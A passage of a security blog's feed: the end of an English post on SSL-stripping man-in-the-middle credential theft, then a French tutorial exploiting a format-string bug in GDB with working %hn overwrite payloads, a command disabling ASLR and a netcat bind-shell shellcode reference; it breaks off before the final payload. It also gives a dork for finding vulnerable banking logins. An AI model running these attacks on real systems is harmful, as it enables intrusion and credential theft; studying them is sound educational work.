&lt;p&gt;We see the trafic passing through the attacker machine.&lt;br /&gt;
From the victim’s point of view, everything seems transparent… but notice a detail:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/mitm-example/pic6.png&quot; alt=&quot;pic6&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;https://assure.ameli.fr&lt;/em&gt; became &lt;em&gt;http://assure.ameli.fr&lt;/em&gt;.&lt;br /&gt;
Our script will know that it will have to replay the secure connection on the other side. Now when our victim wants to access the login page:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/mitm-example/pic7.png&quot; alt=&quot;pic7&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Everything seems ok, except…. Where is the green padlock &lt;img src=&quot;https://phackt.org/public/images/mitm-example/padlock.png&quot; alt=&quot;padlock&quot; /&gt; ???&lt;br /&gt;
So here we are, &lt;strong&gt;sslstrip.py&lt;/strong&gt; has done its job, switching every https links into http, deleting every secure headers (HSTS too, so if not cached, the attack will succeed). The script will remind what domains need SSL/TLS and replay the connections in a secure manner with the destination website.&lt;/p&gt;

&lt;p&gt;So we have &lt;strong&gt;Victim &amp;lt;- HTTP -&amp;gt; Attacker (Mitmproxy) &amp;lt;- HTTPS -&amp;gt; Website&lt;/strong&gt;.  We can now intercept all the trafic in clear.&lt;/p&gt;

&lt;p&gt;Don’t be impatient, the victim will log in a few seconds.&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/mitm-example/pic8.png&quot; alt=&quot;pic8&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In our proxy we can see the post request. Let’s check the details:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/mitm-example/pic9.png&quot; alt=&quot;pic9&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Credentials have been stolen.&lt;br /&gt;
And from our victim, is this transparent ?:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/mitm-example/pic10.png&quot; alt=&quot;pic10&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A lot of people will not notice that the connection is not secure (except you infosec ninjas) and will keep on surfing.  
So since you are clicking on http://banksite.com, if HSTS has not been cached for the domain banksite.com (best to use the preload list), you can keep plain connection because our proxy will strip the redirection to &lt;strong&gt;https&lt;/strong&gt;://banksite.com into &lt;strong&gt;http&lt;/strong&gt;://banksite.com and will act as we just seen above.&lt;/p&gt;

&lt;p&gt;Is it really much more expensive to have all the pages secure ? &lt;a href=&quot;https://tools.ietf.org/html/rfc6797&quot;&gt;HSTS&lt;/a&gt; is also just one header in the response and can easily be added. Companies should also think to have their domain in the preload list in order to perform a 307 internal redirect from the very first request. Here is the &lt;a href=&quot;https://hstspreload.org/&quot;&gt;HSTS preload list submission form&lt;/a&gt;.&lt;br /&gt;
Finally we can not talk here about vulnerability, but more as a lack of responsability.&lt;/p&gt;

&lt;p&gt;You also can play with the other options of &lt;strong&gt;mitm.sh&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Usage: ./mitm.sh &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &amp;lt;js payload url&amp;gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &amp;lt;interface&amp;gt; gateway_ip target_ip
       &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; interactive mode &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;mitmproxy
       &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; capture HTTP traffic
       &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; capture HTTPS traffic
       &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; stripping https
       &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-j&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; inject js payload
       &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; dnsspoof + setoolkit
       &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; interface
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You should try this kind of Google Dork: &lt;a href=&quot;https://www.google.com/#q=-inurl:https+online+banking+(log+OR+logon+OR+login+OR+account)&quot;&gt;-inurl:https online banking (log OR logon OR login OR account)&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I sincerely hope you enjoyed this post as i liked to do it.&lt;br /&gt;
Feel free to comment if you have any question, or if you find other cool domains.&lt;/p&gt;

&lt;p&gt;Phackt.&lt;/p&gt;

&lt;p&gt;References:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/phackt/mitm&quot;&gt;https://github.com/phackt/mitm&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nmap.org/nsedoc/scripts/http-hsts-verify.html&quot;&gt;https://nmap.org/nsedoc/scripts/http-hsts-verify.html&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet&quot;&gt;https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</content>
 </entry>
 
 <entry>
   <title>Format String avec GDB</title>
   <link href="https://phackt.org/format-string"/>
   <updated>2017-02-28T00:00:00+00:00</updated>
   <id>https://phackt.org/format-string</id>
   <content type="html">&lt;p&gt;Bonjour à tous,&lt;/p&gt;

&lt;p&gt;Aujourd’hui un petit article qui traitera d’un cas simple de Format String où nous exploiterons un buffer passé en argument. L’idée de cet article fait suite à la machine &lt;a href=&quot;https://www.vulnhub.com/entry/pegasus-1,109/&quot;&gt;Pegasus 1&lt;/a&gt; de vulnhub que je vous recommande chaudement.&lt;/p&gt;

&lt;p&gt;J’essaierai d’être assez pédagogue, le cas ci-dessous étant un cas basique sans contournement des protections de la pile.&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Qu’entend-on par Format String?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;“The format string is written in a simple template language, and specifies a method for rendering an arbitrary number of varied data type parameters into a string.”&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;%c char single character
%d (%i) int signed integer
%e (%E) float or double exponential format
%f float or double signed decimal
%g (%G) float or double use %f or %e as required
%o int unsigned octal value
%p pointer address stored in pointer
%s array of char sequence of characters
%u int unsigned decimal
%x (%X) int unsigned hex value
%n Print nothing, but writes the number of characters successfully written so far into an integer pointer parameter.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Voici le code que nous allons utiliser:&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[])&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

	&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argument&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;101&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Your input:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;fgets&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argument&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;argument&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stdin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argument&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;		
	&lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Au revoir&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;L’exécution est simple:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/fmt/fmt1.png&quot; alt=&quot;fmt1&quot; /&gt;&lt;br /&gt;
Fuzzons juste pour vérifier que le fgets fait bien son boulot et que nous évitons un débordement classique:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/fmt/fmt2.png&quot; alt=&quot;fmt2&quot; /&gt;&lt;br /&gt;
Maintenant faisons un autre test:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#python -c &apos;print &quot;%x&quot;*100&apos; | ./simple&lt;/span&gt;
Your input: 65b7fb05a0b7fffc08bffff27f025c10000257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578782578b7fb03dcbffff2f00b7e152761b7fb00000b7e152761bffff384bffff38c000b7fb0000b7fffc04b7fff00001Au revoir
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Wowowo ça y est je suis l’élu, je sais lire la matrice?!&lt;/p&gt;

&lt;p&gt;Ce qui se passe ici est du au &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;printf(argument);&lt;/code&gt;. Ceci est valable avec toutes les fonctions similaires printf, fprintf, sprintf, snprintf, vprintf, vfprintf, vsprintf, vsnprintf.&lt;/p&gt;

&lt;p&gt;La version secure aurait été &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;printf(&quot;%s&quot;,argument);&lt;/code&gt; pour forcer l’interprétation des données en tant que chaine de caractères:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Your input: 
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Au revoir
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Avec &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;printf(argument);&lt;/code&gt;, vous pouvez injecter des formateurs qui demanderont à la fonction printf de dépiler de la stack autant d’arguments que de formateurs. Ceci nous permettra de lire la mémoire de notre exécutable et nous le verrons d’écraser des adresses pour rediriger vers notre flot d’exécution.&lt;/p&gt;

&lt;p&gt;Avez-vous remarqué la suite &lt;strong&gt;25782578257825782578&lt;/strong&gt; affichée avec le formateur &lt;strong&gt;%x&lt;/strong&gt; ?:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; 2578 | xxd &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt;
%x
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nous pouvons lire depuis la mémoire notre argument passé à notre exécutable.&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;print &quot;A&quot;*20 + &quot;-%x&quot;*20&apos;&lt;/span&gt; | ./simple
Your input: 
AAAAAAAAAAAAAAAAAAAA-65-b7fb05a0-b7fffc08-bffff27f-0-41c10000-41414141-41414141-41414141-41414141-2d414141-252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d-252d7825-78252d78-2d78252d
Au revoir
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;print &quot;A&quot;*23 + &quot;-%6$x&quot;&apos;&lt;/span&gt; | ./simple
Your input: 
AAAAAAAAAAAAAAAAAAAA-41c10000
Au revoir
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here we go, nous trouvons le premier élement de notre buffer, le caractère ‘A’ (&lt;strong&gt;%6$x&lt;/strong&gt; nous affiche la 6ème adresse). &lt;strong&gt;41&lt;/strong&gt;c10000 reflète en réalité ce qui est stocké en mémoire de la façon suivante: 0000c141. En cause l’architecture petit-boutiste des processeurs x86.&lt;br /&gt;
En effet le formateur %x lira le bloque de 32 bits comme une adresse, affichant en premier les octets de poids fort (donc stockés le plus à droite).&lt;/p&gt;

&lt;p&gt;Nous continuerons sous GDB et nous supprimons avant toute protection de la pile:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;0 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /proc/sys/kernel/randomize_va_space
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;cf &lt;a href=&quot;https://fr.wikipedia.org/wiki/Address_space_layout_randomization&quot;&gt;Wikipédia&lt;/a&gt;: 
&lt;em&gt;L’Address Space Layout Randomization (ASLR) ou distribution aléatoire de l’espace d’adressage est une technique permettant de placer de façon aléatoire les zones de données dans la mémoire virtuelle. Il s’agit en général de la position du tas, de la pile, des bibliothèques. Ce procédé permet de limiter les effets des attaques de type dépassement de tampon.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Positionnons un breakpoint juste avant notre appel printf:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/fmt/fmt3.png&quot; alt=&quot;fmt3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Maintenant injectons à nouveau le buffer de 100 caractères et examinons la mémoire juste après l’exécution de notre printf. Pour rappel une cheatsheet sympa en matière de BOs et de fonctionnement de la pile se trouve ici: &lt;a href=&quot;https://www.0x0ff.info/wp-content/uploads/2014/02/cheat-sheet.png&quot;&gt;https://www.0x0ff.info/wp-content/uploads/2014/02/cheat-sheet.png&lt;/a&gt;.&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/fmt/fmt4.png&quot; alt=&quot;fmt4&quot; /&gt;&lt;br /&gt;
Il est logique de voir apparaitre notre buffer dans des adresses plus hautes sur la stack, les segments de cette dernière étant alloués sur des adresses décroissantes (les plus hautes vers les plus basses) et &lt;strong&gt;printf&lt;/strong&gt; étant appelée après l’initialisation de notre buffer.&lt;/p&gt;

&lt;p&gt;Nous pouvons en déduire l’adresse de début de notre buffer. Cependant pour avoir des adresses continues, nous prendrons un byte plus loin: &lt;strong&gt;0xbffff24c&lt;/strong&gt;.&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/fmt/fmt5.png&quot; alt=&quot;fmt5&quot; /&gt;&lt;br /&gt;
Maintenant revenons sur le formateur &lt;strong&gt;%n&lt;/strong&gt;:&lt;br /&gt;
&lt;em&gt;%n Print nothing, but writes the number of characters successfully written so far into an integer pointer parameter.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Ce formateur écrira à l’adresse mémoire qu’on lui stipulera, qui ici sera lue depuis notre buffer.&lt;/p&gt;

&lt;p&gt;Maintenant il nous faut trouver l’adresse d’une fonction sur laquelle notre exécutable fera un call. Cela nous permettra de rediriger le flux d’exécution sur notre propre shellcode.  &lt;br /&gt;
Nous prendrons la fonction puts. Pourquoi ? car cette dernière est appelée juste après la fonction printf.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://linux.die.net/man/1/objdump&quot;&gt;objdump&lt;/a&gt;&lt;/strong&gt; est une command qui nous fournit diverses informations sur les fichiers objet.&lt;br /&gt;
&lt;em&gt;-R : Print the dynamic relocation entries of the file.&lt;/em&gt;&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/fmt/fmt6.png&quot; alt=&quot;fmt6&quot; /&gt;&lt;br /&gt;
L’adresse peut également être trouvée de cette façon:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/fmt/fmt7.png&quot; alt=&quot;fmt7&quot; /&gt;&lt;br /&gt;
From &lt;a href=&quot;https://en.wikipedia.org/wiki/Relocation_%28computing%29&quot;&gt;Wikipedia&lt;/a&gt;: &lt;em&gt;The relocation table is a list of pointers created by the compiler or assembler and stored in the object or executable file. Each entry in the table, or “fixup”, is a pointer to an absolute address in the object code that must be changed when the loader relocates the program so that it will refer to the correct location.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp *0x804a014&lt;/code&gt; nous montre que l’on va faire un jump à l’adresse contenue à l’adresse &lt;em&gt;0x804a014&lt;/em&gt;. &lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/fmt/fmt8.png&quot; alt=&quot;fmt8&quot; /&gt;&lt;br /&gt;
Let’s check in gdb:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/fmt/fmt9.png&quot; alt=&quot;fmt9&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Il semblerait que nous puissions écrire sur ce segment mémoire. Comment allons-nous procéder?&lt;br /&gt;
D’abord injectons l’adresse mémoire à laquelle nous souhaitons écrire:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/fmt/fmt10.png&quot; alt=&quot;fmt10&quot; /&gt;&lt;br /&gt;
On définit maintenant un point d’arrêt cette fois juste avant l’appel à la fonction printf:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/fmt/fmt11.png&quot; alt=&quot;fmt11&quot; /&gt;&lt;br /&gt;
Bingo. On voit bien que l’adresse a été écrasée et que nous avons une &lt;strong&gt;segmentation fault&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Maintenant la partie sensible, l’écriture de cette adresse. Pour écrire cette adresse nous utiliserons le formateur &lt;strong&gt;%7$hn&lt;/strong&gt; dans notre cas. L’instruction de formatage &lt;strong&gt;%hn&lt;/strong&gt; n’écrit que sur &lt;strong&gt;16 octets&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Globalement notre buffer ressemblera à ceci:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;A&quot;+&quot;@ où écrire 16bits&quot; + &quot;@ où écrire les 16 autres bits&quot; + &quot;valeur correspondante à ces 16 bits&quot; + &quot;formateur écriture 16 bits&quot; + &quot;valeur correspondante à ces 16 autres bits&quot; + &quot;formateur écriture 16 bits&quot; + &quot;shellcode&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pourquoi ne pas écrire directement les 32 bits? Nous utiliserons la précision sur le formatage d’une valeur, ici le nombre de caractères sur lequel nous l’afficherons. L’adresse convertie en entier fournit un entier tout simplement trop grand pour être utilisé.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) print 0xbffff24c 
$2 = 3221221964
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Tapez &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;printf &quot;%3221221964u&quot;&lt;/code&gt; dans votre console.&lt;/p&gt;

&lt;p&gt;L’adresse finale écrite sera l’adresse de notre “shellcode”.&lt;/p&gt;

&lt;p&gt;Première étape:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) r &amp;lt; &amp;lt;(python -c &apos;print &quot;A&quot; + &quot;\x14\xa0\x04\x08&quot; + &quot;\x16\xa0\x04\x08&quot; + &quot;%7$hn&quot; + &quot;A&quot; + &quot;%8$hn&quot; + &quot;A&quot;*50&apos;) 
...
Program received signal SIGSEGV, 
Segmentation fault. 0x000a0009 in ?? () 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Maintenant déterminons l’adresse précise de notre shellcode:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/fmt/fmt12.png&quot; alt=&quot;fmt12&quot; /&gt;&lt;br /&gt;
&lt;strong&gt;0xbffff26c&lt;/strong&gt; semble être un bon candidat. On ajoutera quelques NOPs également comme marge de manoeuvre, l’objectif étant de tomber dans nos NOPs et de slider jusqu’à notre shellcode.&lt;/p&gt;

&lt;p&gt;Ok maintenant les calculs:&lt;br /&gt;
@ de puts: &lt;strong&gt;0x804a014&lt;/strong&gt;&lt;br /&gt;
@ du shellcode: &lt;strong&gt;0xbffff26c&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Calcul de la première partie de l’adresse (conversion décimale):&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) print 0xbfff - 9 
$3 = 49142
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;%x&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; 49142
0xbff6
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Calcul de la seconde partie de l’adresse :&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) print 0xf26c - 0xbff6 - 9
$18 = 12909
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ensuite on teste:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(gdb) r &amp;lt; &amp;lt;(python -c &apos;print &quot;A&quot; + &quot;\x14\xa0\x04\x08&quot; + &quot;\x16\xa0\x04\x08&quot; + &quot;%49142x&quot; + &quot;%8$hn&quot; + &quot;%12909x&quot; + &quot;%7$hn&quot; + &quot;\x90&quot;*4 + &quot;A&quot;*100&apos;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/fmt/fmt13.png&quot; alt=&quot;fmt13&quot; /&gt;&lt;br /&gt;
un rapide calcul nous montre qu’il nous reste &lt;strong&gt;63 bytes&lt;/strong&gt; pour notre shellcode.&lt;/p&gt;

&lt;p&gt;Allons faire notre marché sur &lt;a href=&quot;http://shell-storm.org/shellcode/&quot;&gt;shell-storm&lt;/a&gt;.&lt;br /&gt;
Celui la est fun: &lt;a href=&quot;http://shell-storm.org/shellcode/files/shellcode-872.php&quot;&gt;http://shell-storm.org/shellcode/files/shellcode-872.php&lt;/a&gt;.&lt;br /&gt;
Il s’agit d’un shellcode qui appelle netcat (/bin/nc) et bind le port 17771 pour le rediriger sur /bin/sh.&lt;/p&gt;

&lt;p&gt;Nous adaptons donc notre payload et le testons sous gdb:&lt;/p&gt;
